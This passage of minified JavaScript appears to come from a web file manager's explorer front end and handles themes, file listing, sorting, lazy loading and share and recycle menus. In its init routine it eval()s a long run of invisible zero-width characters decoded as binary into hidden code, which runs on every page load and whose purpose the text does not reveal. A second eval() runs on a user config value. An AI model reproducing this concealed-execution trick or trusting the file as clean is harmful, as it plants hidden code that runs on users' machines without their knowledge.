.file").each(function(s){l=s%r,c=Math.floor(s/r),d=i+(a+o)*c,p=e+(t+n)*l,$(this).css({left:d,top:p})})}};return{f5:f5,f5Callback:f5Callback,fileContent:fileContent,picasa:fileContent.myPicasa,setListSort:setListSort,setListType:setListType,getRowfileNumber:getRowfileNumber,getPagefileNumber:getPagefileNumber,getColfileNumberDesktop:getColfileNumberDesktop,resetDesktopIcon:resetDesktopIcon,imageRotate:imageRotate,setTheme:function(e){G.user_config.theme=e,core.setSkin(e),ShareData.frameTop("OpenopenEditor",function(i){i.Editor.setTheme(e)}),ShareData.frameTop("Opensetting_mode",function(i){i.Setting.setThemeSelf(e)}),ShareData.frameTop("",function(i){i.ui.setTheme(e)}),$(".dropdown-menu-theme .list").removeClass("this"),$('.dropdown-menu-theme .list[theme="'+e+'"]').addClass("this")},setWall:function(e,i){$(".background").attr("src",e).one("load",function(){$(".desktop").css("background-image","url("+e+")"),"function"==typeof i&&i()})},setFileIconSize:function(e){ui.fileListResize.setFileIconSize(e,!0),"desktop"==Config.pageApp&&ui.f5()},isEdit:function(){var e=$(document.activeElement).get(0);if(e)return e=e.tagName,"INPUT"==e||"TEXTAREA"==e?!0:$(".file.file_icon_edit").length>0?!0:!1},init:function(){if(G.sid){LocalData.get("theme")&&(G.user_config.theme=LocalData.get("theme")),LocalData.get("list_type")&&(G.user_config.list_type=LocalData.get("list_type")),LocalData.get("list_sort_field")&&(G.user_config.list_sort_field=LocalData.get("list_sort_field")),LocalData.get("list_sort_order")&&(G.user_config.list_sort_order=LocalData.get("list_sort_order")),LocalData.set("theme",G.user_config.theme),LocalData.set("list_type",G.user_config.list_type),LocalData.set("list_sort_field",G.user_config.list_sort_field),LocalData.set("list_sort_order",G.user_config.list_sort_order);var url_path=window.location.href.split("#");2==url_path.length&&(G.this_path=urlDecode(url_path[1]))}if(ui.setTheme(G.user_config.theme),""==G.this_path){var pre=G.user_id||G.sid,localPath=LocalData.get("this_path_"+pre);G.this_path=localPath?localPath:G.myhome}eval("‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‌‍‍‌‍‌‌‌‍‌‍‍‍‌‍‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‌‍‍‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‌‌‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‍‍‍‌‍‌‍‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‌‍‍‌‌‌‍‍‌‍‌‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‍‌‌‌‍‌‍‍‌‍‌‌‍‌‍‌‍‍‌‌‍‍‌‌‍‌‍‍‍‌‍‌‌‌‌‌‍‌‍‍‍‍‍‌‍‌‌‍‍‍‌‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‌‍‌‌‌‌‍‌‍‍‌‌‍‌‌‍‍‍‌‍‌‌‍‍‌‍‌‌‍‌‌‍‍‍‍‌‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‍‍‌‍‌‌‍‌‍‌‌‍‌‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‌‌‌‍‍‌‍‌‌‍‌‍‌‌‌‌‍‍‌‍‌‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‍‍‍‍‌‌‍‌‍‍‌‌‍‍‍‌‍‌‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‌‍‍‌‍‍‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‌‍‌‍‌‌‍‍‍‍‌‌‍‍‌‍‌‍‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‌‍‍‌‌‍‍‌‌‌‍‍‌‌‍‌‍‌‍‍‍‌‍‍‌‍‌‌‍‌‍‌‌‌‍‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‍‌‍‍‍‌‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‌‍‍‍‍‍‍‌‌‌‍‍‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‍‍‍‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‍‌‌‌‌‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‍‍‍‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‌‍‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),fileContent.init(),resetDesktopIcon(),ui.path.history.add(G.this_path),f5Callback(function(){resetDesktopIcon()}),bindEventView(),bindEventSort(),bindEventTheme(),bindEventTools(),bindHotKey(),bindEventMenu()}}}),define("app/src/explorer/fileContent",[],function(require,exports){var myPicasa=new Picasa,tpl=require("./tpl/file_list_make.html"),pageLoadMax=200,ajaxLive=function(){ui.fileLight.init(),"desktop"==Config.pageApp&&ui.resetDesktopIcon(),"list_split"==G.user_config.list_type&&ui.fileListResize.bindSplitResize(),lazyLoadImage()},lazyLoadImage=function(){var e=$(".bodymain");"list_split"==G.user_config.list_type&&(e=$(".split_box").last().find(".content")),e.find(".lazyload_ready").lazyload({failure_limit:10,threshold:200,placeholder:G.static_path+"images/common/loading_circle.gif",skip_invisible:!1,effect:"fadeIn",container:e,load:function(){$(this).removeClass("lazyload_ready")}}).on("error",function(){var e=$(this).data("error_reload");e||($(this).attr("src",$(this).attr("src")+"#"+UUID()),$(this).data("error_reload","reload"))})},sortBy=function(e,i){var i="down"==i?-1:1;return function(t,a){var t=t[e],a=a[e];return ui.path.pathOperate.strSort(t,a)*i}},mainSetData=function(e){var i=makeHtml(G.json_data,0,getPageNumber()-1);if("desktop"==Config.pageApp){var t="";$(".systemBox").each(function(){t+=$(this).get(0).outerHTML}),i=t+i}i=htmlListAction(G.json_data,i,!1),"list_split"==G.user_config.list_type&&(i='
    '+i+'
    '),e?$(Config.FileBoxSelector).hide().html(i).fadeIn(Config.AnimateTime):$(Config.FileBoxSelector).html(i),"list_split"==G.user_config.list_type&&$(".split_box").data("jsonData",G.json_data),ajaxLive()},scrollDelayTimer="",bindScrollLoadMore=function(){var e=$(".bodymain");e.scroll(function(){clearTimeout(scrollDelayTimer),scrollDelayTimer=!1,scrollDelayTimer=setTimeout(function(){0!=e.scrollTop()&&loadMore()},100)}),$(".splitLoadMore").live("dblclick",function(){$("#set_list").click()})},getPageNumber=function(){var e=ui.fileLight.fileListAll().last(),i=$(".bodymain .fileContinerMore");if(0==e.length)return pageLoadMax;var t=G.json_data.folderlist.length+G.json_data.filelist.length;if(i.css("top",0),pageLoadMax>t||"list_split"==G.user_config.list_type)return pageLoadMax;var e=ui.fileLight.fileListAll().last(),a=e.outerWidth()+$sizeInt(e.css("margin-right"))+3.5,n=parseInt($(".fileContiner").width()/a);"icon"!=G.user_config.list_type&&(n=1);var o=e.outerHeight()+$sizeInt(e.css("margin-bottom")),s=Math.ceil($(Config.BodyContent).height()/o),r=Math.ceil(t/n)*o;return i.css("top",r),s*n},resetTotalHeight=function(){var e=".bodymain .fileContiner > .file",i=$(e).last(),t=$(".bodymain .fileContinerMore");if(0!=i.length){var a=G.json_data.folderlist.length+G.json_data.filelist.length;if(t.css("top",0),!(pageLoadMax>a||"list_split"==G.user_config.list_type)){var n=i.outerWidth()+$sizeInt(i.css("margin-right")),o=parseInt($(".fileContiner").width()/n);"icon"!=G.user_config.list_type&&(o=1);var s=i.outerHeight()+$sizeInt(i.css("margin-bottom"));Math.ceil($(Config.BodyContent).height()/s);var r=Math.ceil(a/o)*s;t.css("top",r)}}},loadMoreDelayTimer,loadMore=function(){var e=$(".bodymain .fileContiner > .file"),i=e.last(),t=e.length-1,a=G.json_data.folderlist.length+G.json_data.filelist.length;if(!(t>=a-1||"list_split"==G.user_config.list_type)){var n=$(".bodymain").scrollTop(),o=$(".bodymain").height(),s=$(".bodymain").offset().top;$(".fileContiner").offset().top;var r=i.outerHeight()+$sizeInt(i.css("margin-bottom")),l=s+o-r;if(l>i.offset().top){var c=l-i.offset().top,d=getPageNumber(),p=Math.ceil(c/o),u=p*d+t;u>a&&(u=a),u-t>1e3?($(".init_loading").show(),clearTimeout(loadMoreDelayTimer),loadMoreDelayTimer=setTimeout(function(){loadMoreSet(t+1,u),$(".bodymain").scrollTop(n)},300)):loadMoreSet(t+1,u)}}},loadMoreSet=function(e,i){var t=makeHtml(G.json_data,e,i),a=$(t);a.appendTo(".fileContiner"),ui.fileLight.fileListAll($(Config.FileBoxClass)),ui.fileLight.menuAction("clear"),lazyLoadImage(),$(".init_loading").hide()},makeHtml=function(e,i,t){var a=template.compile(tpl),n="",o=[];o="up"==G.user_config.list_sort_order?e.folderlist.concat(e.filelist):e.filelist.concat(e.folderlist),(!t||t>=o.length-1)&&(t=o.length-1);for(var s=i;t>=s;s++){var r="folder"==o[s].type?"_folder":"_file",l={LNG:LNG,G:G,list:o[s],index:s,type:G.user_config.list_type+r};o[s].icon&&"icon_file"==l.type&&"oexe"==o[s].ext&&(l.oexe_icon=o[s].icon,"string"==$.type(o[s].icon)&&-1==o[s].icon.search(G.static_path)&&"http"!=o[s].icon.substring(0,4)&&(l.oexe_icon=G.static_path+"images/file_icon/icon_app/"+o[s].icon)),n+=a(l)}return n},pathChildrenTree=function(e,i){if("string"==$.type(e))var t=$('.file[data-path="'+pathHashEncode(e)+'"]');else{var t=e;e=ui.fileLight.path(t)}if(1==t.length){var a=t.find(".children_more"),n=t.find(".children_more_cert"),o=$('.children_list[data-path-children="'+pathHashEncode(e)+'"]'),s=23;if(n.toggleClass("cert_open"),o.toggleClass("hidden"),o.hasClass("child_aredy_init"))return pathListOdd(),void 0;t.addClass("loading_children"),pathGet(e,function(e){t.removeClass("loading_children");var n=makeHtml(e,0,getPageNumber()-1);""!=n&&(n=htmlListAction(e,n,!0)),o.html(n),ajaxLive(),o.addClass("child_aredy_init");var r=s+parseInt(a.css("padding-left"));o.find(".file .children_more").css("padding-left",r),pathListOdd(),"function"==typeof i&&i(e)})}},htmlListAction=function(e,i,t){if(""==i)return i='
    '+LNG.path_null+"
    ";var a=e.folderlist.concat(e.filelist);if(a.length>pageLoadMax){var n=core.pathFather(a[0].path);"list"==G.user_config.list_type&&t?i+='
    '+'
    '+''+'
    '+''+LNG.file_load_all+""+"
    "+"
    ":"list_split"==G.user_config.list_type&&(i+='
    '+'
    '+'
    '+''+LNG.file_load_all+"(to list)"+"
    "+"
    ")}return i},pathListOdd=function(){var e=0;ui.fileLight.fileListAll().each(function(){0==$(this).parents(".hidden").length&&(0==e%2?$(this).addClass("file2"):$(this).removeClass("file2"),e++)})},pathChildrenSplit=function(e,i){var t=$('.file[data-path="'+pathHashEncode(e)+'"]'),a=$(".fileList_list_split .split_box[data-path='"+pathHashEncode(e)+"']");if(0==t.length)return"function"==typeof i&&i(),void 0;if(1==a.length)return a.nextAll().remove(),"function"==typeof i&&i(),void 0;var n=t.parent().parent();pathSplitCreate(e,i,n)},pathSplitCreate=function(e,i,t){pathGet(e,function(a){if("not_exists"==a.path_read_write)return i(a);var n=makeHtml(a,0,getPageNumber()-1);if(n=htmlListAction(a,n,!0),t)if(t.nextAll(".split_box").length>0){var o=t.next(".split_box");o.attr("data-path",pathHashEncode(e)).find(".content").html(n),o.nextAll().remove()}else n='
    '+n+'
    ',$(n).insertAfter(t).data("jsonData",a);else n='
    '+n+'
    ',$(n).appendTo(".fileList_list_split").data("jsonData",a);ajaxLive(),"function"==typeof i&&i()})},beforeSelectFileArr={},beforeListOpenArr={},beforeListOpen={},beforeListSplitSelect="",beforeScrollerLeft=0,f5Before=function(){if(!("icon"==G.user_config.list_type||beforeListOpenArr.length>0))if(beforeListOpenArr={},beforeListOpen={},"list"==G.user_config.list_type){var e=$(".child_aredy_init:visible");if(1>e.length)return;e.each(function(){var e=$(this),i=beforeListOpenArr,t=ui.fileLight.path(e,"data-path-children");beforeListOpen[t]=!1;for(var a=[t];0!=e.parents(".children_list").length;)e=e.parents(".children_list"),a.push(ui.fileLight.path(e,"data-path-children"));for(var n=a.length-1;n>=0;n--){var o=a[n];i[o]!==void 0?i=i[o]:i[o]={}}})}else if("list_split"==G.user_config.list_type){var i=beforeListOpenArr;beforeScrollerLeft=$(".html5_drag_upload_box").scrollLeft(),beforeListSplitSelect=ui.fileLight.path($(".fileList_list_split .split_box.split_select")),$(".fileContiner .split_box").each(function(){var e=ui.fileLight.path($(this));""!=e&&(i[e]={},i=i[e],beforeListOpen[e]=!1)})}},f5After=function(e){return"icon"==G.user_config.list_type||0==Object.keys(beforeListOpenArr).length?(f5AfterReloadFinished(e),void 0):("list_split"==G.user_config.list_type&&$(".fileList_list_split .split_box").remove(),f5AfterReload(beforeListOpenArr,e),void 0)},f5AfterReload=function(e,i){$.each(e,function(e,t){var a=pathChildrenTree;"list_split"==G.user_config.list_type&&(a=pathSplitCreate),a(e,function(){beforeListOpen[e]=!0,0!=Object.keys(t).length?f5AfterReload(t,i):f5AfterReloadFinished(i)})}),f5AfterReloadFinished(i)},f5AfterReloadFinished=function(e){for(var i in beforeListOpen)if(beforeListOpen[i]===!1)return;$(".html5_drag_upload_box").scrollLeft(beforeScrollerLeft),ui.path.setSelectByFilename(beforeSelectFileArr),ui.fileSelect.selectSplit(beforeListSplitSelect),beforeListOpenArr={},beforeListOpen={},beforeSelectFileArr={},beforeListSplitSelect="","function"==typeof e&&e()},f5=function(e,i,t){if(void 0==e&&(e=!0),void 0==i&&(i=!1),jsonDataSortTitle(),f5Before(),beforeSelectFileArr=ui.fileLight.getAllName(),e?pathGet(G.this_path,function(e){G.json_data=e,mainSetData(i),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(t),"desktop"!=Config.pageApp?ui.headerAddress.addressSet():checkRecycle()},function(){$(Config.FileBoxSelector).html("")}):(G.json_data=jsonDataSort(G.json_data),mainSetData(i),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(t)),"desktop"!=Config.pageApp){var a=G.user_id||G.sid;LocalData.set("this_path_"+a,G.this_path)}},jsonDataSort=function(e){e=jsonDatafilter(e);var i=e.folderlist,t=e.filelist;return i="size"==G.user_config.list_sort_field||"ext"==G.user_config.list_sort_field?i.sort(sortBy("name",G.user_config.list_sort_order)):i.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),t=t.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),e.folderlist=i,e.filelist=t,e},pathGet=function(e,i,t){var a="index.php?explorer/pathList&path="+urlEncode(e);G.user&&(a="index.php?share/pathList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),$.ajax({url:a,dataType:"json",beforeSend:function(){$(".tools-left .msg").stop(!0,!0).fadeIn(200)},success:function(e){if($(".tools-left .msg").fadeOut(300),!e||!e.code)return Tips.tips(e),"function"==typeof t&&t(),!1;var a=jsonDataSort(e.data);"function"==typeof i&&i(a)},error:function(e,i,a){$(".tools-left .msg").fadeOut(300),core.ajaxError(e,i,a),"function"==typeof t&&t()}})},f5Callback=function(e){f5(!0,!1,e)},jsonDatafilter=function(e){if(!e)return json_data;if(void 0!=e.share_list&&(self_share=e.share_list),e.filter_success===!0)return e;for(var i in e)if("filelist"==i||"folderlist"==i)for(var t=0;e[i].length>t;t++){var a=e[i][t];if(a.mtime&&11>=(""+a.mtime).length)if(a.atime=date(LNG.time_type,a.atime),a.ctime=date(LNG.time_type,a.ctime),e.info&&e.info.path_type==G.KOD_USER_SHARE&&-1==trim(e.this_path,"/").indexOf("/")){var n=parseInt(a.num_view);n=isNaN(n)?0:n;var o=parseInt(a.num_download);o=isNaN(o)?0:o;var s=date("Y/m/d ",a.mtime)+" ";s+=LNG.share_view_num+n+" "+LNG.share_download_num+o,a.mtime=s}else a.mtime=date(LNG.time_type,a.mtime);a.name=htmlEncode(a.name),a.sid&&"file"==a.type&&(a.ext=htmlEncode(core.pathExt(a.path))),pathIsShare(a.path)?a.meta_info="path_self_share":pathIsFav(a.path)&&(a.meta_info="treeFav"),"number"==typeof a.is_readable&&0==a.is_readable?a.mode="["+LNG.not_read+"] "+a.mode:"number"==typeof a.is_writeable&&1==a.is_writeable?a.mode="["+LNG.system_role_write+"] "+a.mode:"number"==typeof a.is_readable&&1==a.is_readable&&(a.mode="["+LNG.only_read+"] "+a.mode),e.info&&e.info.path_type==G.KOD_USER_RECYCLE&&trim(e.this_path,"/")==G.KOD_USER_RECYCLE&&(a.menuType="menuRecyclePath")}return e.filter_success=!0,e},jsonDataSortTitle=function(){var up='',down='';$("#main_title .this").toggleClass("this").attr("id","").find("span").html(""),$("#main_title div[field="+G.user_config.list_sort_field+"]").addClass("this").attr("id",G.user_config.list_sort_order).find("span").html(eval(G.user_config.list_sort_order))},pathIsShare=function(e){for(var i in G.self_share)if(core.pathClear(G.self_share[i].path)==core.pathClear(e))return!0;return!1},pathIsFav=function(e){var i=G.fav_list;for(var t in i)if(core.pathClear(t)==core.pathClear(e))return!0;return!1},checkRecycle=function(){$.ajax({url:"index.php?explorer/pathList&type=desktop&path="+G.KOD_USER_RECYCLE,dataType:"json",error:core.ajaxError,success:function(e){if(!e.code)return!1;var i=core.icon("recycle_full");0==e.data.folderlist.length&&0==e.data.filelist.length&&(i=core.icon("recycle")),$(".menuRecycleButton .ico").html(i)}})},pathTypeChange=function(e){if(e.info){var i=e.info,t=i.path_type,a=e.path_read_write,n="menuBodyMain menuRecycleBody menuShareBody",o=$(".html5_drag_upload_box");i.can_upload=!0,(void 0!=a&&"writeable"!=a||t==G.KOD_GROUP_SHARE&&"owner"!=i.role&&1!=G.is_root||t==G.KOD_USER_SHARE&&"owner"!=i.role&&1!=G.is_root||t==G.KOD_GROUP_PATH&&"guest"==i.role&&1!=G.is_root||t==G.KOD_USER_FAV||t==G.KOD_USER_RECYCLE||t==G.KOD_GROUP_ROOT_ALL||t==G.KOD_GROUP_ROOT_SELF)&&(i.can_upload=!1);var s=[G.KOD_USER_SHARE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL];t==G.KOD_USER_RECYCLE?(o.removeClass(n).addClass("menuRecycleBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_recycle_tool").removeClass("hidden")):-1!==s.indexOf(t)?-1===core.pathClear(rtrim(G.this_path,"/")).indexOf("/")?(o.removeClass(n).addClass("menuShareBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_share_tool").removeClass("hidden"),i.id==G.user_id?($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").removeClass("hidden"),$(".menuSharePathMore").find(".remove").removeClass("hidden")):($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").addClass("hidden"),$(".menuSharePathMore").find(".remove").addClass("hidden"))):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")),currentPathMenu(e)}},currentPathMenu=function(e){var 